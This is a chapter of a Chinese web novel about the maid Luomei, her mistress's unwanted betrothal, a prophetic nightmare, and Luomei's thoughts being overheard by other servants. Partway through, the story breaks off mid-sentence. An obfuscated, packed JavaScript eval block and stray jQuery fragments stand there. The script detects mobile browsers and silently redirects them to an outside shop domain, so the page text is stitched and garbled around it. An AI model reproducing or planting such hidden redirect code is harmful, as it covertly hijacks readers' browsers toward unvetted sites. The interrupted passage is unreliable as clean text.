文趣网 > 其他小说 > 心声外放?我不知道啊 > 3. 第 3 章
    宋义转身出了房,落梅目送他远去,房间一空,她缓缓从床榻上起身。

    身后已被冷汗浸透,衣物紧贴在后背上,冷汗被蒸腾,风从门外灌近,落梅无助地打了个冷战。

    梦里接近死亡的痛苦仍在脑海里徘徊,落梅的小指微颤,她按住手指,从床上起身去寻找小姐。

    穿过月洞门,绕过千回百转的廊道,来到内院深处的辛夷坞,这里便是小姐的闺房。

    院落中扎根一片花木,在入院的回廊两侧中的是玉兰花,素白的花瓣回应春天早早绽放,缀满枝头。

    院深处是芙蓉花,花期未到,仅有枝叶层层交叠,与外头的草木无半点特殊。

    落梅却是知晓小姐独爱这芙蓉花,果不其然,她在芙蓉花下瞧见倚在石边吃酒的小姐。

    “小姐。”落梅赶忙上去行礼,她瞅着小姐手里的酒,酒壶的曲柄被小姐勾着。

    小姐的脸颊上淡淡桃花红,看着像是醉了,却不显丑恶醉态,好一副国色天香的美景:“落梅啊,你来了,无需多礼,快起来吧。”

    声音被酒气润出一片慵懒华贵,吞吐间酝酿出醉人的酒香。

    小姐迷糊地笑着,一双醉眼朦胧地看着她。

    落梅只能轻叹:“小姐,勿要贪杯,还请把酒壶放下。”

    “诶呀,落梅胆子大了,居然敢命令小姐了。”小姐笑骂道,却还是把手中酒壶稳稳放在一侧。

    落梅内心除了叹气别无他法,也就是清楚小姐是个宽和的主,不然她哪敢这般做。

    她站起身,双手规矩地放在前面:“不敢。”

    小姐没有应落梅的话,而是支起手撑着脸看她:“落梅,你是有什么事问我吗?”

    落梅的睫毛微微垂下:“小姐,您是真心想嫁给那位周公子吗?”

    小姐定定看了几秒,突然笑了,笑得肆意,连眼角都冒出泪花:“你觉得呢?”

    “奴婢不知。”落梅毫无知觉。

    小姐终于停下笑:“想如何,不想又如何,我的婚姻何时掌握在我的手里。”

    一句话,道尽无奈。

    落梅敛下眸中的光,她微微俯身:“我先退下了。”

    小姐没再说话,只是挥挥手示意她退下。

    落梅朝着门外走去,鼻尖弥漫的酒味似乎更加浓郁了些。

    一般来说,作为小姐的贴身侍女,落梅应该时时刻刻跟在小姐身边,但她更清楚,此刻小姐更需要独处。

    “落梅。”

    熟悉的声音引得落梅下意识抬眸看去,宋义正大步走来。

    落梅压抑着内心的情绪,缓步走上前去:“怎么样。”

    “嗯,那位要来提亲的周和公子确实和你描述地一模一样,接下来你要怎么办?”

    得知这个消息,落梅不知该松口气,还是提口气,她思索片刻问道:“他会成功提亲吗?”

    宋义有些懊恼地垂下头:“我只顾着来和你说了,没注意到。”

    “没事。”落梅抚过自己的下巴,“你再帮我一个忙。”

    “什么忙?”宋义离开昂首挺胸。

    “你去外面打探。”落梅朝他弯了下手,左顾右盼没有人,宋义才弯下身子。

    落梅伏在他的耳边悄声道,宋义时不时点下头。

    他直起身子,眉稍微微翘起:“可以,我帮你,到时候老地方见。”

    说罢,宋义又是一阵张望,闪身离去。

    落梅交握着手,满目担忧回望院门。

    ……

    “两姓之好,以结姻亲。

    上以事宗庙,下以继后嗣……”

    礼官厚重的诵声飘飘荡荡,字字句句庄重滚烫,入耳却是朦胧飘逸。

    红烛灼光晃得人眼目昏沉,落梅立在帘下,垂首噤声,视线只能停在那层层叠叠的喜衣衣摆。

    金纹绣的鸳鸯被束缚在红罗下,走动间褶皱流动,鸳鸯振翅欲飞,却只能在脚下的红毡上逶迤穿行。

    水波般漾开的艳红印在眼中,落梅听着到礼成的声音落下。

    她只来得及抬眸看了一眼,小姐的面容被红绸遮掩,手里牵着彩绸的一端,拿着彩绸的另一端却是一个面容模糊的男子。

    落梅知道自己该惊讶,该叫喊,可她的内心却如一滩死水,无半点波澜。

    直到一室的火红点燃房梁,烈火窜上屋顶,如那不知餍足的贪兽,落梅眼睁睁瞧着自己被火焰焚烧殆尽,仅在最后一刻,一只称得上冰凉的手握上她。

    落梅还没来得及转头,眼前的红光逐渐放大,几乎要亮瞎她的眼。

    “呼,呼。”落梅从噩梦中惊醒,她睁开眼睛,屋内依旧昏暗,落梅只能起身点起一盏油灯。

    寅时三刻,窗外透出蒙蒙青灰,夜色正在淡去,真正的白天却还未到。

    落梅起身洗漱,备热水和洗膏,她需要在小姐未起前整理好一起并在门外等候。

    这般劳累的日子,她已经历多年,几乎是习惯了。

    偶尔她也会萌生出一个念头,为何她必须要这样做,只是这个念头如同一缕青烟,打个盹的功夫便散去了。

    小姐是宽和的,落梅这般想着。

    小姐没有骇人的习惯,不会随意打骂下人,也不会随意发卖手下的侍女。

    日子到了,小姐还乐于给每个下人赐予一桩好婚事,小姐怎么会不好呢?

    落梅提着灯,恭敬地等着小姐醒来。

    昨日吃了酒,小姐醉迷糊了,今早大概不会起早。

    落梅知道这一点,可她却不能回去,若是被府里的管事或是嬷嬷发现,少不了被骂,轻则罚钱,重则发卖出府。

    为此,她只能打起精神在这门前候着。

    也是奇了,往常会时不时来巡查的嬷嬷或管事今早居然没一个来,落梅心中好奇,更多是松了口气。

    小姐醒来,落梅和其他侍女从太阳冒头伺候到日悬中天。

    落梅终于是能去吃午饭。

    快速消灭完一餐,落梅躲在角落里避暑。

    “诶,听说了吗?有位嬷嬷她疯了。”

    “我也听说了,好似昨夜疯的,都是要颐养天年的岁数了,还想着成为老爷的妾室,院子里都传开了。”

    几名捂嘴轻嗤,你一句我一句地笑着闹着。

    落梅没忍住,竖起一只耳朵去听,可侍女们却转移了话题,开始吐槽起自己做的事。

    她眼珠子一转,意识到府里有了有意思的事,她从躲阳的地方探出身体。

    “到底发生什么,能跟我说一说吗?”

    “啊。”侍女们吓得小脸一白,溢出颤颤巍巍的声音,她们哆嗦着扭身行礼:“落梅姐姐。”

    落梅只道不必,往前探了一步:“老爷发生什么?”

    侍女们无措对望,落梅安慰:“我不会说出去。”

    她们知

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17839831|211600||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    道,她们刚才的话已经被落梅听进去了,只好低声下气道:“我们说,请您别告诉管事。”

    落梅点点头,表示说。

    侍女们彼此交替插话,生怕没说清楚,被落梅拱出去。

    落梅听明白了,原来是府中那位最年长的嬷嬷在昨夜突然对着老爷暗送秋波,姿态娇俏,瞧着像是没了骨头的蛇。

    她可记得那位嬷嬷可曾当过老爷的奶娘啊,生养过的孩子不下八个,体态“丰腴”,实则是想不到她要如何对老爷进行撩拨。

    只想浅浅一想,浑身的鸡皮疙瘩都起来了。

    “老爷不会这么饥不择食吧。”

    一道模糊的声音在众侍女的脑海里响起,侍女惊讶地相互对视一眼。

    这般熟悉的声音分明是落梅的,可落梅明明没有张嘴啊。

    “落梅姐姐,你刚刚说话了吗?”一位胆大的侍女开了口。

    “嗯?”落梅发出一声疑惑:“没有,有事?”

    “没事,没事。”众侍女齐齐摆手,一个共同的想法在她们的。

    这莫不是落梅的心里话吧。

    人和人抵着肘,却是没人敢上前求证。

    最后一位胆大的侍女走了出来,弯身:“姐姐若无其他事,我们便退下了。”

    落梅眼睛一眯:“我认识你。”

    “您记得我。”

    “当然。”落梅目光紧跟着余禾,“昨日做的不错。”

    “只是碰巧。”余禾低眉顺眼道。

    落梅又是深深一眼:“下去吧。”

    众人如鸟兽散去,落梅的视线定在余禾身上,瞧着她远去后,自己亦准备回小姐院子。

    在那半途,一块杏花做的糕点贴在落梅的唇边。

    “宋义。”落梅一喜,微微漏齿,那糕点的香味钻入舌尖。

    接过糕点那一瞬,落梅第一时间左右去看,见无人,强撑的肩膀微微松垮,却不失规矩。

    落梅嗔怪地勾了眼宋义:“注意避嫌,我们还未成婚呢。”

    宋义挠了挠头,傻乎乎笑着,像一头呆雁,完全瞧不出和主子走南闯北的精明。

    “我这不是一看到你,就忘了。”

    这话也傻兮兮的,落梅却觉得这话好似甜到她心里。

    但落梅还记得她先前问过宋义的话,只能把那点甜蜜藏起来:“好啦,快告诉我,你查到什么了。”

    他们隔着距离,宋义怕被人听到,只能压着声音:“我问过了,那位公子常不出门,身边也没个通房丫鬟,貌似是个洁身自好的人。”

    “哦,那他才学怎么样。”

    “听人说,他本为神童,前几年修身蕴才,不过几日名声大噪,大放异彩。”

    “待人如何?”

    “极好,对外温和有礼,不曾苛刻府内仆从,亦不曾轻视凡夫俗子。”

    “周家,算了,这个不用了,哪怕是我这个深闺姑娘也听过周家是一户好人家,世家大族,乐善好施。”

    落梅嘴角一勾:“听着像个举世难觅的良人,你觉得呢。”

    “我觉得太假。”宋义抱着胸,脸上是十足的不信。

    “我也觉得,再帮我一下,找到周和的小尾巴。”落梅从自己口袋里掏出荷包,上面绣着草木,轻轻摇动发出清脆的铜板响。

    荷包被塞进宋义手里,宋义挑了挑眉:“这是贿赂?”

    “不,只是礼物。”